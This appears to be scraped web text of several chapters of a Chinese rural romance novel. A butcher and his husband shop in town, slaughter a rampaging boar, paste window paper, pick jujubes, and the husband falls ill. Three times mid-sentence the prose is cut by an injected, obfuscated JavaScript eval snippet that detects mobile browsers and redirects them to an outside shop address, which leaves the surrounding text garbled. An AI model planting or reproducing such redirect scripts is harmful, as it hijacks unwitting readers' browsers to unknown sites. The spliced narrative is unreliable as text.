深秋的早上还是有些冷的,两人路上也没怎么说话,只闷头赶路,不过这回李远山懂得体谅夫郎,走路时刻意放慢了脚步。 走了有小半个时辰,他俩就到了离镇上不远的柳树村。 往常路过时,偶然能遇见一两个村里人,今天远远地就听见村口一片嘈杂,不过两人都不是爱凑热闹的人,只扭头看了一眼,便继续赶路了,想来一大早有什么喜事也说不定。 赶着钱庄开门的时候,两人到了铺子门口,镇上就这一家钱庄,附近村镇的人们兑换银两或是存钱放贷都来这里,早早过来也不至于要排队。 钱庄分内外两层,外间大堂地界宽,方便他们这些小门小户的人来兑银子,内间则更高雅些,镇上一些开店铺的大户,一日银钱流水数额大的,往往都是由掌柜的请到里面去。 趁着人不多,两人赶紧过去兑银子,两吊钱按照李远山的意思换成一两整银和一两散碎银子。 方夏因从没拿过这么多钱,来的路上都让他提心吊胆了一回,此时便推着李远山去收好,李远山笑了笑抬眼看戥子没什么差错,便掏出怀里的荷包将银钱收了起来。 侧面算账的老管事正好抬头,他看到李远山的脸时目光一怔,却也是见多识广的人,视线一转到了人手里的荷包上:“小兄弟,你这荷包样式别致好看的紧,哪里买的?” “不是买的,是我夫郎给绣的。”李远山收起荷包,大方回答,老管事虽被吓了一跳,自己也不至于因这个不理人。 “小兄弟好福气!这荷包一看就做工精致,样式也是难得一见呐!” “乡野之物,让您老人家见笑了。” 老管事正待要多说几句,就听见大门口有人喊他:“老钱头!老钱头!” 李远山回头便看见一个一身靛蓝丝绸,眉目端正面色和善的人摇着扇子笑呵呵走进来。 见是相熟的人,老管事连忙站起来迎了出去:“我当是谁?原来是章老板,快里面请!” 老管事领着人到钱庄内间坐定,又喊伙计来上茶,才开口问:“章老板今日来存钱还是兑银子?” “不急,不急。”章老板压下话头,问老管事,“方才你说什么荷包?你可不像是对这些有兴致的人,往日里你坐前面一天都不带说一句话的。” 钱管事呵呵一笑:“原是抬头瞅见那兑银的汉子凶神恶煞的面貌吓了一跳,找个借口罢了。” “你呀,你呀!”章老板摇着头喝一口茶。 “不过那汉子手里的荷包样式确实别致,竟是老鹰踩着一只雪白的兔子,绣得当真栩栩如生啊!” 章老板一口茶没咽下去,差点喷出来,声音也提高了许多:“你说什么样式?” “哎吆我说老弟,嫌弃我茶不好喝啊?”见章老板认真的神色,钱管事也收了玩笑的心思:“就是老鹰踩着兔子啊!” “鹰踏兔!这是鹰踏兔啊!”章老板一拍大腿,匆匆站起来就要出门。 后边的常管事上了年岁,腿脚不甚利索,跟着他追出来,只是大街上人来人往哪里还有李远山和方夏两人的影子。 见章老板一脸懊悔的神色,钱管事宽慰道:“那汉子长得高大,脸上有疤好认,他既来钱庄兑银子,想必日后还会来的,到时我打发人去找你。” 两人商议一番,只能先这样,遂按下不提。 ------------------------------------- 另一边,李远山见老管事要忙,便打声招呼领着方夏从钱庄出来,被人夸夫郎送的荷包好看,他心里很受用,扭头对着方夏时,脸上还带着没来及隐去的笑意:“今日想吃些什么?” 方夏却瞅瞅他背上沉甸甸的筐子道:“先把猪毛卖了吧,怪沉的。” 知道夫郎心疼自己,李远山更高兴了,他点点头,两人匆匆向东市走去。 到了东市,穿过拥挤的人群终于找到了收猪毛的货郎,货郎和李远山很熟,知道他卖的猪毛向来干净,也没多翻看,直接就称重付钱了。 一袋子杂毛一共是五十斤多点,按照一斤一文钱的价,给了五十文,一小兜子猪鬃毛是四斤半多,因着猪鬃毛又长又硬能做刷子,所以就比杂毛贵些,一斤能卖三文钱,货郎爽快给了十五文,一共得了六十五文钱。 同货郎道别后,李远山将钱交给方夏收着,两人一路往早点摊子上走,这么一路过来早已饥肠辘辘,肚里响个不停,方夏也饿了,紧紧跟在李远山身后。 东市的早点摊子有好几家,有卖普通的豆浆油条和包子稀粥的,也有一些贵的如羊杂汤和烧麦的,方夏舍不得吃贵的,便同李远山说要吃包子喝粥。 这边卖早食的都没有自己的店铺,只在街边租摊位搭个棚子,里面放几张简易的桌子就是一个早点摊子了。两人进到棚子里找个靠近角落的位置坐下,便有一个上了年岁的老汉来招呼。 “要两个肉包子两个素包子,再来两碗八宝粥。”李远山同店家说道。 见是两个年轻的汉子夫郎,便知道这是夫夫两个一起出门,店家应了便去预备吃食了。 方夏已是嫁人的双儿了,出来抛头露面也没什么,况且还是跟着自家汉子,若是未出嫁的姑娘或双儿是断不能出来的,让人看见都会笑话不检点。 热腾腾的包子和粥端上来,方夏胃口小,只能吃一个,便伸手去拿盘子一边的素包子吃,不想李远山手快将盘子里的肉包子递了过来。 “我吃个素馅的,一个就够了。”方夏认真说着。 李远山微一皱眉,将手里的包子掰了半个递给方夏,又从盘子里拿了个素馅的也掰成两半后递过来一半:“一半肉的一半素的,吃吧。” 方夏悄悄抬眼瞅瞅周围,见其他桌子上的人都低头吃饭并没什么人注意这边,才不好意思地接了。 那边李远山已囫囵将手里的半个包子吞下去了,方夏也赶紧低头吃起来,走了这一路,这会儿早饿得不行了。 热气腾腾的包子和粥下肚,两人都不冷了,吃完后方夏便去结账,他第一次做这事,心里还是有些怯怯的,不过身后有李远山,他也不觉得多害怕。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292682|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 素包子一个一文钱,肉包子则是三文一个,一碗粥是两文,方夏从自己的钱袋子里数出来十二文递过去,店家数了数钱没问题,便又去招呼别的食客了。 方夏回头微微笑着看李远山,李远山点头说了句:“走吧。” 棉花是从离这边不远的摊子上买的,今年棉花价不算贵,一斤是四十五文钱,李远山要了五斤,他不懂针线活儿,方才来的路上已问过自家夫郎做棉衣要多少棉花。 方夏回说一斤多就够了,他想了想夫郎原先的棉衣定然不是很厚,便给估了用二斤。 他们家人都有棉衣,不用重新缝制,只是弟妹正长身体,肯定得再续一续袖子什么的,这么一合计五斤棉花应是足够了。 摊主挺爽快,还给抹了零,只要他们二百二十文钱。李远山从自己荷包里拿出两钱的碎银子,又让方夏数了二十个铜板出来付了。 家里没有盐和糖了,他们又去铺子里各买了一斤,盐的价格贵些,是五十文一斤,糖则略微便宜点,不过也要四十文了,寻常人家平日里是舍不得吃糖的。 这两样一共九十文钱,方夏拿着的铜板不够了,李远山想着平日里铜板花用方便些,便没去动自己背篓里的钱,又从荷包里取了一钱银子付,找回来的十个铜板便又给了方夏。 卖糊窗纸的店铺镇子上有几家,不过李远山想起来他娘叮嘱的买几个窗花,便领着方夏多走了一段路,去了镇上一家最大的铺子。 这家铺子里最主要是卖窗花的,普通人家贴剪纸窗花,一些有钱人家连窗框子都是雕花,则是木头窗花,无论什么样的窗花根据图案的简单和复杂都有贵贱之分,糊窗纸只是他们家最不赚钱的买卖,只当做添头来经营。 一进门店里的伙计便热情招呼着:“客官您看看什么窗花?” 这些日子不是卖窗花的旺季,见有客人来,店里的伙计很是热情。 听说要买糊窗户的麻纸也没怠慢,领着他们过去一一介绍,纸张薄一些的要二十文一沓,而厚些的则是要三十文,一沓均是五十张。 李远山想着自己夫郎身子弱些又怕冷,今年便糊厚实些,将选好的麻纸卷起来放到方夏的背篓里,他自己的背篓已经背了五斤棉花和盐糖各一斤,再塞纸怕压坏了。 见李远山又要去看窗花,方夏伸手轻轻拽了一下人的衣角,学着家里人的叫法低声道:“远山。” 头一次被夫郎叫名字,李远山有些发愣,不过很快他就回过神来,深深看一眼方夏看,抓着人的手腕问:“怎地了?” “是要买剪纸窗花吗?” “嗯,娘说要买一些的。” “我会剪纸的,不用买了吧?” 李远山脑子还沉浸在夫郎喊了自己名字的喜悦中,还是旁边跟着的伙计开口道:“既是小夫郎会剪,那你们买些红纸回去,更划得来些。” 两人便又去拿了五张红纸,因染色的纸价贵,一张就要一文钱,不过总的来说要比买窗花划算,这样一共便花了三十五文钱。 收拾好买的东西,李远山和方夏心情都很轻松,身后的伙计还在喊着:“客官下次再来!” 临出门时李远山差点还撞到人,他及时刹住脚步,说了声抱歉,定睛一看来人竟是他们在钱庄碰见的去找老管事的章老板。 对面的章老板见是自己店里的客人,只摆摆手说无事,便匆匆进铺子里去了。 李远山和方夏两人对视一眼,觉得还挺有缘分,见天色不早,都快午时了,便相携回家去了。 27. 李一刀 回家路上,两人慢悠悠走着,边走边盘算着今天的花销,早食花了十二文,买棉花二百二十文,买盐五十文,糖四十文,最后是麻纸三十文,红纸五文钱,一共花了三百五十七文钱。 李远山那边出了三钱碎银子,荷包里还剩一两七钱,背篓里的两百三十文钱没动。 方夏这边原有卖猪毛的六十五文,如今只剩下了八文钱,这样算下来,加上家里钱匣子里的三两银子,他们手里有四两七钱银子并两百三十八个铜板了。 今日采买的多是家里用的东西,不过一家人住在一起,也不必分得那么清楚,该花就花,他只需下力气使劲挣钱就是,李远山如是想。 两人心里都高兴,一路上有说有笑,方夏仍旧话不是太多,不过只要李远山说话,他定然听得极其认真,时不时还要点头或是回几句话。 正说着话,就走到了柳树村,村口闹哄哄的比来时更热闹了。 忽地聚在一起的人向两边分开,一头健壮的大肥猪从大路上直冲过来,这猪要比平常见的猪体型更大些,甚至脖子上还残留着血迹。 这肥猪性子也暴躁,顶开追着的几个壮汉冲着方夏直直跑过来。 方夏人都吓傻了,只知道瞪大眼睛站着。 情急之下李远山也顾不得这是在外面,一手揽着方夏的腰将人抱起来,顺带飞起一脚用上全身的力气踹向那肥猪,电光火石之间竟将那猪踹得偏离了方向,哼叫着倒向一边。 后边冲上来的几个壮汉扑过去紧紧按着那肥猪,不想那猪力气巨大,死命挣扎着周围几人竟按不住它。 李远山见状将身上的背篓取下来交给方夏,几步走过去抬腿使劲压在了猪前腿上,趁着猪挣扎的间隙朝那几个壮汉伸手:“拿绳来!” 几人看见李远山的脸都骇得往后退了一步,只一个面皮黝黑、三十多岁的壮汉走上前来递了绳子,李远山也没在意,他一手按着猪头防止被咬,一手迅速将猪的前腿捆结实。 见那肥猪拼命吼叫着还要起身,李远山站起来一脚踹在猪后腿上将其踢倒,又上前将猪的后腿捆上了。 一条绳子结结实实捆住了猪的四条腿,这下那肥猪再也挣脱不开了。 这时,方才递绳子的壮汉走上前道:“兄弟好身手!我叫陈大贵,是这柳树村养猪的。方才多谢你啊!”说着朝李远山拱了拱手,又接着说,“看兄弟这么利索,可是家里也干这些营生?” 李远山也朝着人拱拱手,道:“陈大哥客气了,我叫李远山,是玉河村的屠户。” 围着的几人悄声道:“哎呀!原是李癞……小李屠户啊!” 陈大贵瞪了说话人一眼,怎能当着人的面叫人诨号,接着拍了拍李远山肩膀道:“今日得亏了兄弟你啊!不然我就要闯下大祸了,这肥猪性子暴躁,从一早闹到现在,你可是帮了我大忙啊!” “对对对,李兄弟好身手啊!力气真大!” “可不是嘛?咱们几个人都抓不了摁不住,你看看人家!” “哎吆吆!我的天爷爷!一个人就给放倒捆起来了!” …… 陈大贵拍拍手让众人先静一静,自己同李远山说起了事情的缘由。 原来陈大贵是这柳树村的养猪大户,家里大大小的猪养了有百十来头,除了卖毛猪,家里还有下猪仔的母猪。 平日里也会卖满月的小猪仔,另外家里还养了种公猪,用来给母猪配种,方圆几十里的村子谁家有母猪需要配种的,都是赶着猪来陈家。 李远山也是听说陈大贵的,只是不曾见过而已。 今日早起陈大贵家里有头母猪需要配种了,他便将母猪赶到这公猪的圈里。 不料这公猪突然发了疯,将母猪咬死不说,还要咬主人,吓得陈大贵急忙从猪圈跳出来去村里喊人帮忙。 只是这公猪养得着实肥大暴躁,连请了两个屠户都摁不住,中间还咬伤了几个帮着抓猪的人,甚至最后来的郑屠子下刀不准,只扎破了猪脖子就被这公猪一头顶倒将猪放跑了。 那胡子拉碴的郑屠子刚跑过来,见李远山将猪制服后,便趁人没注意悄没声息溜了。 说完缘由,陈大贵又拱着手道:“李兄弟,你好人做到底,帮忙将这猪杀了吧!” “行!”李远山点点头 他也没想别的,既然别人杀不了,现下自己将这头公猪捆上了,顺手杀了也无妨,便点点头,接过方夏手里的筐子又背上,领着夫郎朝陈大贵家走去。 身后众人自然抬猪跟上。 陈大贵家里没有杀猪的工具,李远山也不挑,只要了一把尖刀,试着趁手就行。 嘱咐众人将猪按住,自己也一条腿使力压在猪前腿上,他的手很稳,在猪脖子上找准位置后猛地一刀扎进去一拧,瞬间那肥猪便没了撕心裂肺的叫声,只嘶哑着哼哼几声,没多久便没了声息不叫了。 陈大贵听李远山的吩咐蹲在地上拿盆接猪血,帮忙按着猪的众人看着都不由得佩服起来,见过这么多杀猪的,头一回见如此身手利索的,下刀快准狠,一点儿也不拖泥带水。 有人竖起大拇指道:“好手艺!你该叫‘李一刀’啊!” 周围的人纷纷附和,说着:“‘李一刀’”好,一刀毙猪命!”。 众人都举着大拇指夸,接着都哈哈大笑起来。 待猪杀好了,李远山问:“陈大哥,这猪不比肉猪,没劁的公猪肉不好吃,你预备怎么办?” “这猪没法子当肉猪价卖,只能价格便宜些贱卖了,还有一头死了的母猪,李兄弟你辛苦一趟,帮着分一分如何?”陈大贵厚着脸皮问,他虽然养猪,却不清楚这杀猪分猪的门道。 没有趁手的工具,李远山便将就着分了,虽说猪毛褪的不是很干净,不过他手艺熟练,分猪割肉不在话下,等两头猪都处理完,午时已然过半了。 陈大贵高兴极了,虽然家里损失了一头种猪一头母猪,不过幸好没酿下大祸,一定要请李远山喝酒吃饭。 李远山推辞不过便应了,等忙完这一切才顾得上找自家夫郎。 方才杀猪分猪肉,他过来时便嘱咐方夏在院子里等他,可一回头却寻不见人了,这让他有些茫然,那么大个人怎么影子都没一个呢? 还是陈大贵机敏,看出李远山在寻人,便开口道:“李兄弟可是寻你夫郎?方才我见人提着两个筐子等你,便喊我家媳妇邀人进屋里坐坐,咱们汉子们杀猪血呼啦擦的怕吓着人,你夫郎说要等你,请了两回才进屋里去呢。” 听陈大贵这么一说,李远山便放下心来,专心依着陈大贵的意思分猪肉。 今日来帮忙抓猪的人不少,本想都留下来请大家吃饭,不过既然李远山是带着夫郎的他们识眼色便不留了,但陈大贵也不会亏待大家,一人让提着五斤猪肉回家去吃。 乡下人难得荤腥,哪怕这公猪肉和母猪肉不好吃,也没那么多讲究,纷纷谢过陈大贵后,提着猪肉走了,剩下的肉便按十五文一斤卖,多少能赚回来点本儿就行。 收拾妥当,李远山随着陈大贵进家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292683|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 原先没仔细看,这会才注意到陈家院子里有十几个分隔开的猪圈,一窝一窝的小猪大猪少说也有百十来头,这些猪有些是要等长大了卖肉猪,有些刚出生没多久的小猪则是等到日子后劁了卖给其他想养猪的人家。 “李兄弟可会劁猪?”陈大贵边走边问。 李远山看着这些还没出窝的猪仔道:“会的,只是不常出村揽活儿。” “那敢情好啊!我这有两窝猪仔还有半个月就到日子了,到时请李兄弟来劁猪!” 能挣钱李远山哪会不应,立马点头道:“行!” 陈大贵又道:“你这手艺真是绝!可比那郑屠子强多了,别的不敢说,往后啊,这柳树村的生意我陈大贵都能给你揽过来!只要李兄弟你愿意来,保准亏不了你的!” 原本这一片的劁猪生意都是郑屠子的,如今李远山能揽上,也怪那姓郑的自砸招牌,谁杀猪给杀一半就尥蹶子不干了啊?生猪挣钱,各凭本事了。 两人说着话进到屋里,方夏正坐在堂屋帮着择菜,见李远山进来,立马站起来小跑几步到人跟前问:“可是忙完了?” “嗯,忙完了,今日陈大哥留吃饭,那午饭就不回家去吃了,你且坐着吧。”李远山拍拍夫郎的手臂道。 正在灶间忙碌的陈大贵媳妇是个胖胖的妇人,急忙转过身来端茶倒水:“快洗洗手!饭马上就好了!” 却不想猛然回头看见李远山的样子,陈家媳妇惊得瞪大眼睛,向后退了一步。 “不曾声张,惊扰了嫂子。”李远山停住脚步,微微侧着脸拱拱手,“嫂子莫怪。” 这陈家媳妇也是见过世面的,知道自己方才的反应有些失礼,急忙上前一步道:“李兄弟,这是说的哪里话?我这乡下妇人不常出门,是我没见识,李兄弟别往心里去!” 接着上下将人打量一番又说:“哎吆,这李兄弟生得真是高大!怪道力气也大,才能杀得了那疯猪!快坐快坐!” “嫂子客气了。”李远山点点头。 “哪里的话!要不是你,我家陈大贵可都让猪顶死了!”陈家媳妇在襜衣上擦擦手,又说,“不说这个了,你夫郎是真和善,我说让他坐着歇歇脚,非要来帮我,哎吆多亏了你们夫夫俩。” 陈大贵拎着一坛子酒来了:“李兄弟,今日老哥我可得好好谢谢你!” 一顿饭吃得宾主尽欢,李远山虽平日里不常饮酒,但酒量还行,吃饭时陈大贵一直夸他酒量好,接连劝着再喝几杯。 喝到最后,陈大贵拍着李远山的肩膀称兄道弟:“好兄弟,哥哥我痴长你几岁,你若不嫌弃喊我一声大哥,以后有什么用得着大哥的地方,你尽管开口!” “多谢陈大哥!”李远山也不矫情。 几人吃喝完毕,临走时,陈大贵指使着自家婆娘取了两钱银子非要给他,李远山推辞几番差点将陈大贵惹急眼了。 还是陈家媳妇出来解围:“李兄弟,你就拿着吧,辛苦这一遭,也别见外。” 最后见实在推脱不过,李远山便收了。 按照惯例,他在村里过年时帮人杀年猪,若是只杀猪不分肉便是五十文的工费,连杀猪带分肉就是一百文,有些人家还要将猪下水给屠户带走。 陈大贵是内行人,懂门道,李远山收了钱便不再多说什么。 从陈家出来,李远山和方夏继续赶路,两人都很高兴,不仅得了做生意的门路,还额外挣了钱。连带着方夏看人的眼神都闪着亮光,自家汉子果然是个有本事的。 28. 糊窗户 这日天气正晴,一家人便收拾着要糊窗户,趁着太阳大风也小,早早将窗子糊上,过几日天气冷了也不会挨冻。 北方冬日苦寒,若是不将窗户糊严实了,冬天有的熬呢。 因此家家户户都会在秋末选一天仔仔细细将家里的窗户用新麻纸糊了,境况好一些的人家还会在麻纸上贴些鲜亮的窗花做装饰,这样窗户糊出来也不至于太单调。 不过窗花就是等过年时才贴,而糊窗户纸则是一年两次,春秋各一次,秋天糊是为了应对冬日的寒冷,而春天糊则是经历了一整个寒冬,有些窗户纸早已破损,需补一补。 木楞窗做成一格一格的,有些窗框上面的旧窗户纸经过半年的风吹雨淋,已经有了裂缝没法保暖,需得先将这些陈旧的窗户纸撕掉,再糊上新的。 李远山和李云山兄弟俩个子高,正踩着板凳撕窗户纸,李老爹则站在下面帮着递东西,周秀娘在堂屋架了个小火炉在煮浆糊。 糊窗户纸的浆糊不能太稠也不能太稀,太稠了容易裂口,太稀又会粘不住纸,是以掌握火候很重要。 旧的窗户纸撕完,还要用刷子小刀清窗户,窗框上那些发黄变脆的窗户纸连带着灰尘都要清理,尤其是窗户边角的缝隙,清理不干净新的话窗户纸糊上去就压不实,稍微有一点点缝隙等冬日里冷风灌进来可就糟糕了。 窗户清理干净了,便可以糊窗户了。 李达夫妇俩在堂屋裁新麻纸,李远山则先蘸着浆糊将窗框仔细刷一遍,待麻纸递上来,便赶紧沿着一边贴上去。 他和二弟李云山一人扶着麻纸,一人用骨头片从麻纸中心稳稳刮过,麻纸既平展又服帖,不留一点儿气泡,这样一扇窗户就糊好了。 待新麻纸稍微干一干,还需用浆糊在麻纸和窗户的接缝处再刷一遍,保证麻纸糊得牢牢的,不透一丝缝隙,兄弟俩配合默契,糊完一个屋子,又将板凳挪走去糊另外一间。 家里五间房并左右两间耳房都要糊新麻纸,他们这几个人忙一上午功夫足够。 这几日方夏正给自己缝棉衣,李远山叮嘱他要缝得厚实些,糊窗户这爬高上低的活计用不着他,他便一心一意做针线。 而李青梅则在旁边跟着学,她渐渐大了,便不能再独自出去跑着玩儿,姑娘家终究要嫁人,家里这些活计都要慢慢学起来。 棉衣不比单衣好缝,庄户人家做一身棉衣,预备着穿好几年,因此要花个三五天细细做针线才行。 尤其絮棉花这一道工序,棉花要一点一点撕下来,用手搓磨的厚薄均匀,其中肩膀、胳膊肘、膝盖和后腰这些容易着凉和磨损的地方总要比别处絮得厚实些。 一家人各有各的忙,院子里偶尔传来几声说话声,大多数时间只能听见炉子上烧火的噼啪声。 太阳一点点升高,晒得院子里暖暖的,屋门吱呀一声响,方夏抬眼看去见是隔壁柳满,便赶紧从炕上要下来招呼他。 “你做你的,我也看看。”柳满赶紧伸手拦了人一下,顺着坐到炕上了。 方夏接着絮棉花:“怎地没带孩子过来?” “哎吆你快别提了,小石头皮得不行,好不容易让他奶奶领走玩一会儿,我来你这里躲躲清闲。”柳满接过周秀娘端过来的南瓜子,“婶子别忙了,我找夏哥儿坐一会儿就走。” “急啥?这几日忙,你难得来一趟,多坐一会儿!”周秀娘见两个哥儿有话说,便也没多待,只让他们坐着说体己话,自己出去继续看着熬浆糊的小火炉了。 “午后我家打枣子,你也来嘛。”柳满边说边上手同方夏一起做衣服絮棉花。 “好!” 两人一起比一个人快,他俩又都是做惯了活计的,没一会儿功夫就絮好了一条裤腿上的棉花。 “哎,对了,你听说了没?孙青青怀上了!”柳满声音不大,却也足以让屋里的人听见。 方夏手里拿着棉花正往布料上垫,闻言还没反应过来,抬头问:“怀啥?” 柳满拍了他一下,嘻嘻笑着说:“能怀啥?怀上孩子了呗!” 方夏呆愣了一下,这才反应过来,说的是怀孩子了啊。他下意识看了看自己的肚子,心里想着自己体质弱些,不晓得啥时候能怀上,也不知道自己能不能怀呢。 “怎么?你也想要孩子了?”看见方夏的动作,柳满笑嘻嘻打趣道。 “我没……我……”方夏红着脸急得话都说不完整了,他没有那么急着想要孩子,只是听见孙青青怀孕,不由自主想到自己而已,他成婚还没两个月呢。 柳满呵呵笑着又往他身边凑了凑,用只有他们两个人才能听见的声音说道:“要我说啊,咱们双儿本来就比女子难开怀,你呀最要紧的是养好身子,要再胖些才好怀呢。” 说着又抬头看了眼在院子里忙着糊窗户的李远山,“再说了,身子瘦弱些的到生孩子那会也不好过,谁生孩子不是鬼门关走一遭啊!有些人挺不过来的,一尸两命的都有!” 方夏以前不懂,从没想过这些,此时听了柳满的话,吓得小脸煞白。 “哎呀,我不是吓你,我是生养过的,咱们啊,自己的身子还得自己在意着。”柳满说着一扬头,“你看青青那样子,虽说怀上了,可她身子骨弱着呢,只盼着她生产时顺些,凭着这一胎能有个依靠,他们老徐家说是三代单传,我见她婆婆听说她怀了倒是挺上心。” 方夏也跟着点点头,道:“上心些好,这样她往后的日子也好过些。” “谁说不是呢,徐家那母子俩若是有些良心,可别再磋磨她了。” 两个人有一搭没一搭聊着,柳满又捡着村里的几件新鲜事同方夏说。 一上午的功夫,两人就将一身棉衣里的棉花都絮好了,有李青梅给搭把手,缝起来也快,等棉衣做好柳满让方夏穿穿看,看看哪里有不合适的他也好帮着改改。 崭新的棉衣穿在身上,由里到外都是暖融融的,炕上坐着的李青梅和柳满直夸好看,说得方夏都有些不好意思了,他将身上的棉衣脱下来叠好收进柜子里,那两人还笑着说他脸皮薄。 见时间不早了,柳满便要收拾回家了,方夏将他送出门去。 家里的窗户都糊上了新麻纸,站在院子里仰头看着,微黄透亮的窗户纸虽只有薄薄的一层,却可以抵挡冬日的寒冷,仿佛一道天然的屏障,将屋子隔绝开来,即便冬天再漫长也可以安心了。 ------------------------------------- 午后的阳光正好,不冷也不热,吃过饭方夏便同李远山一道去隔壁吴大牛家打枣。 他俩过去时,吴家院子的两颗枣树下,已经铺上了不用的旧草席。 一阵风吹过,几片树叶翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292684|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞着飘落到地上,偶尔会有几颗干瘪外皮全红的枣子掉落下来,人们也不去捡,这些早早掉下来的往往都是被虫子咬着吃了的。 吴大牛拿着长杆正预备打枣子,见李远山夫夫俩进来,说道:“远山哥,正好你来,咱俩一人打一颗昂?” “你倒是会使唤人,”李远山笑着走过去,“怎么没见小石头?” 旁边拿着麻袋的柳满道:“孩子不听话!怕一会儿打枣看不住砸了脑袋,让他阿奶领着出去玩了。” 也是,一会儿枣子噼里啪啦满地落,那略微硬一些的砸下来可疼呢。 为了防止一会儿打枣真砸了脑袋,柳满给方夏拿了一块厚实的头巾,几人不再耽搁时间,各自拿好工具忙开了。 吴大牛家院里的两颗枣树,一棵是脆枣,打下来就能吃,一颗则是面枣树,枣子要晒干了吃,也可以熬粥或是蒸馒头时放。 他们预备先打面枣树,树上大部分枣子都红了,不过打下来还需再晒晒,晒成干红枣才好吃些。 李远山身手敏捷,踩着枣树主干一使力就爬了上去,这面枣树高,有些枝丫长杆也够不着,需得人爬上树去摇才行,而吴大牛则站在树底下用长杆打。 “躲远些!”李远山预备使劲摇枣树了,冲着树下的人喊。 吴大牛站在另外一边,正用长杆敲打低处的枝干,两人配合默契,树上的枣子簌簌往下掉,有些是零散的枣子,有些连带着小枝条也一并打下来,满满落了一地。 方夏和柳满两人见打得差不多了,便从屋檐下出来拾捡。 树下虽铺了草席,可枣子却不会都落到草席上,有些四处乱滚,咕噜噜落到墙角或是屋檐下,都要捡回来。 两人挎着小篮子将那些滚远的枣子捡起来再倒回草席上,待打得差不多了,将草席上掉落的枝叶扔出去就行。 面枣打完不用装,直接就用草席兜着放太阳底下晒。 一棵枣树打完,几人又转去下一棵。脆枣比面枣个头儿小些,有的红了半面,有的还青着,不过打下来养上一天半天的就泛出红色能吃了。 有时掉下来的枣子破了皮,方夏和柳满就捡起来在袖子上擦擦吃,都是自家种的东西,也没那么多讲究,脆脆甜甜的枣水分很足,一口咬下去满嘴都是甜滋滋的。 “摔破皮的就放这里吧。”柳满又拿了个小陶盆出来。 打枣子难免会有摔破皮的,尤其脆枣不耐放,几天不吃就变软坏了,不吃可惜,方夏捡拾枣子时将摔破的都挑出来,同好的分开。 另外一些则是看着外皮好,但仔细瞅枣子表皮上都有虫眼,乡下人舍不得都扔,有虫眼的就直接掰开,将虫子扒拉下去,枣子晒晒还能吃。 方夏应着:“行,晓得了。” 树上的枣子打摇得差不多了,两个汉子也过来帮忙捡枣子,分拣好的脆枣倒进麻袋里,等吴大牛去镇上卖,还能换些银钱回来。 今日天气好,捡枣子也是个体力活,没一会儿功夫方夏便出了一身的汗,偶尔风一吹还有些凉意,他也不在意,擦擦头上的汗水,弯腰继续拾捡。 几人忙忙碌碌一下午,总算将两颗枣树都打完了,柳满用布兜子装了满满两兜子枣给方夏,让他拿回家去分着吃。 方夏也不推脱,这些日子相处,他和柳满很投缘,接过布兜子和李远山高高兴兴回家了。 29. 病来 霜降一过,天气一天比一天冷了,地里的庄稼大部分都收完了,只偶尔还有几亩地的秸秆需要拉回来,家里汉子多,拉秸秆打茬子这些活便不用妇人夫郎去。 不过哪怕方夏想去帮忙也去不成,自那日打枣出汗着了风,他便病倒了。 李远山心急,怕他一直不好,早早就去他二舅周兴旺家抓了几服药。 他二舅虽不如城里医馆的大夫医术高明,但治个头疼脑热的还是有两把刷子的,这附近几个村子谁家有个小病小灾的都是来找周兴旺看病抓药。 只是方夏本来就身体底子弱,这一病连着喝了几天药也不见好。 天阴沉沉的,看着不久又要下雨,方夏在屋里躺着有些晕,便爬起来靠着枕头坐着想做一会儿针线,只是他刚从针线笸箩里拿出来纳了一半儿的鞋垫子,李远山就推门进来了。 “病了就多躺着。”李远山走过来,将方夏身上盖着的被子又往上拉一拉,“光线也不好,仔细眼睛疼。” 话没说完,他抽走方夏手里的鞋垫子放回去,又将笸箩端起来放到炕头另一边去了。 “地里活儿干完了?”方夏问道。 这两日李远山早上卖完猪肉,午后就要同弟弟们一起去地里忙,庄稼虽收完了,地里还要翻一翻,等着来年好播种。 秸秆茬子这些收回来做饭烧炕用,这里冬日漫长,烧火用的柴火也要多预备些,过几日地里忙完了,还要去山上砍柴,冬日屋里冷,家里得烧些木炭过冬。 家里有牲畜的,也要多拉些秸秆回来,冬日里正是青黄不接的时候,干草备足了,家里的牛才不至于饿肚子。 李远山进来时用大簸箕端着茬子,此时正蹲在地上预备烧炕,他回道:“差不多了,家里的事儿你无需操心,这么多人呢,你好好养病就成。” “我知道的,就是问问。”方夏拢了拢身上的被子道。 炕烧好后又将地上的细碎渣滓打扫干净,李远山就脱鞋上了炕,他伸手揽过方夏用额头贴着人的脑门试了试,说道:“今日倒是不烫了,应是快好了。” 方夏正晕着,李远山身上火气旺,忽然被人抱在怀里既踏实又暖和,让他忍不住在李远山的胸口蹭了蹭。 